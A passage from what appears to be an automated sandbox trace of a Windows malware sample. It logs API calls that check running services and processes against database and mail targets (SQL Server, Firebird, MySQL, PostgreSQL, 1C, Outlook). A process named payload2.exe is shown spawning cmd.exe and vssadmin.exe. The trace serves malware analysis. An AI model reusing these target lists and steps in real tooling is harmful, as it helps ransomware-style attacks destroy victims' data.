lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.860] lstrlenW (lpString="UxSms") returned 5 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.860] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.860] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.860] lstrlenW (lpString="VSS") returned 3 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0040.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0040.860] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0040.860] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0040.860] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.860] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.861] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.861] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.861] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.861] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.861] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.861] lstrlenW (lpString="Winmgmt") returned 7 [0040.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.861] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.861] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.861] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.861] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8c2e8 | out: hHeap=0x220000) returned 1 [0040.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0040.863] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.864] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.865] lstrlenW (lpString="System") returned 6 [0040.865] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.865] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.866] lstrlenW (lpString="smss.exe") returned 8 [0040.866] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.866] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.866] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.867] lstrlenW (lpString="csrss.exe") returned 9 [0040.867] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.867] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.867] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.867] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.867] lstrlenW (lpString="wininit.exe") returned 11 [0040.868] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.868] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.868] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.868] lstrlenW (lpString="csrss.exe") returned 9 [0040.868] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.869] lstrlenW (lpString="winlogon.exe") returned 12 [0040.869] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.870] lstrlenW (lpString="services.exe") returned 12 [0040.870] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.870] lstrlenW (lpString="lsass.exe") returned 9 [0040.870] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.871] lstrlenW (lpString="lsm.exe") returned 7 [0040.871] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.872] lstrlenW (lpString="svchost.exe") returned 11 [0040.872] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.872] lstrlenW (lpString="svchost.exe") returned 11 [0040.872] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.873] lstrlenW (lpString="svchost.exe") returned 11 [0040.873] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.874] lstrlenW (lpString="svchost.exe") returned 11 [0040.874] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.874] lstrlenW (lpString="svchost.exe") returned 11 [0040.874] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.875] lstrlenW (lpString="audiodg.exe") returned 11 [0040.875] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.876] lstrlenW (lpString="svchost.exe") returned 11 [0040.876] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.876] lstrlenW (lpString="svchost.exe") returned 11 [0040.876] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.877] lstrlenW (lpString="dwm.exe") returned 7 [0040.877] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.878] lstrlenW (lpString="explorer.exe") returned 12 [0040.878] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.878] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.878] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.879] lstrlenW (lpString="taskhost.exe") returned 12 [0040.879] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.880] lstrlenW (lpString="svchost.exe") returned 11 [0040.880] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.880] lstrlenW (lpString="taskeng.exe") returned 11 [0040.880] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.881] lstrlenW (lpString="taskhost.exe") returned 12 [0040.881] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0040.882] lstrlenW (lpString="presidential.exe") returned 16 [0040.882] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0040.882] lstrlenW (lpString="ol-filing.exe") returned 13 [0040.882] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0040.883] lstrlenW (lpString="overcome.exe") returned 12 [0040.883] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0040.884] lstrlenW (lpString="declinedreferral.exe") returned 20 [0040.884] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0040.949] lstrlenW (lpString="franciscotrack.exe") returned 18 [0040.949] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0040.949] lstrlenW (lpString="nicholas.exe") returned 12 [0040.949] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0040.950] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0040.950] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0040.951] lstrlenW (lpString="word.exe") returned 8 [0040.951] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0040.951] lstrlenW (lpString="semestermeta.exe") returned 16 [0040.951] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0040.952] lstrlenW (lpString="reflects.exe") returned 12 [0040.952] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0040.953] lstrlenW (lpString="beveragesradios.exe") returned 19 [0040.953] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0040.953] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0040.953] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0040.954] lstrlenW (lpString="ground.exe") returned 10 [0040.954] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0040.955] lstrlenW (lpString="least.exe") returned 9 [0040.955] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0040.955] lstrlenW (lpString="meetings.exe") returned 12 [0040.955] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0040.956] lstrlenW (lpString="wooltestimony.exe") returned 17 [0040.956] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0040.957] lstrlenW (lpString="inexpensive.exe") returned 15 [0040.957] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0040.957] lstrlenW (lpString="er-amd.exe") returned 10 [0040.957] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0040.958] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0040.958] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.959] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.959] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0040.959] lstrlenW (lpString="mobsync.exe") returned 11 [0040.959] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0040.960] lstrlenW (lpString="payload2.exe") returned 12 [0040.960] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.961] lstrlenW (lpString="cmd.exe") returned 7 [0040.961] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.962] lstrlenW (lpString="conhost.exe") returned 11 [0040.962] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.962] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.962] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0040.963] lstrlenW (lpString="VSSVC.exe") returned 9 [0040.963] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.964] lstrlenW (lpString="svchost.exe") returned 11 [0040.964] Process32NextW (in: hSnapshot=0x1ac, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0040.964] CloseHandle (hObject=0x1ac) returned 1 [0040.964] Sleep (dwMilliseconds=0x1f4) [0041.909] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2a0078 [0041.909] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0041.909] GetLastError () returned 0xea [0041.909] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0041.910] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0041.910] CloseServiceHandle (hSCObject=0x2a0078) returned 1 [0041.910] lstrlenW (lpString="Appinfo") returned 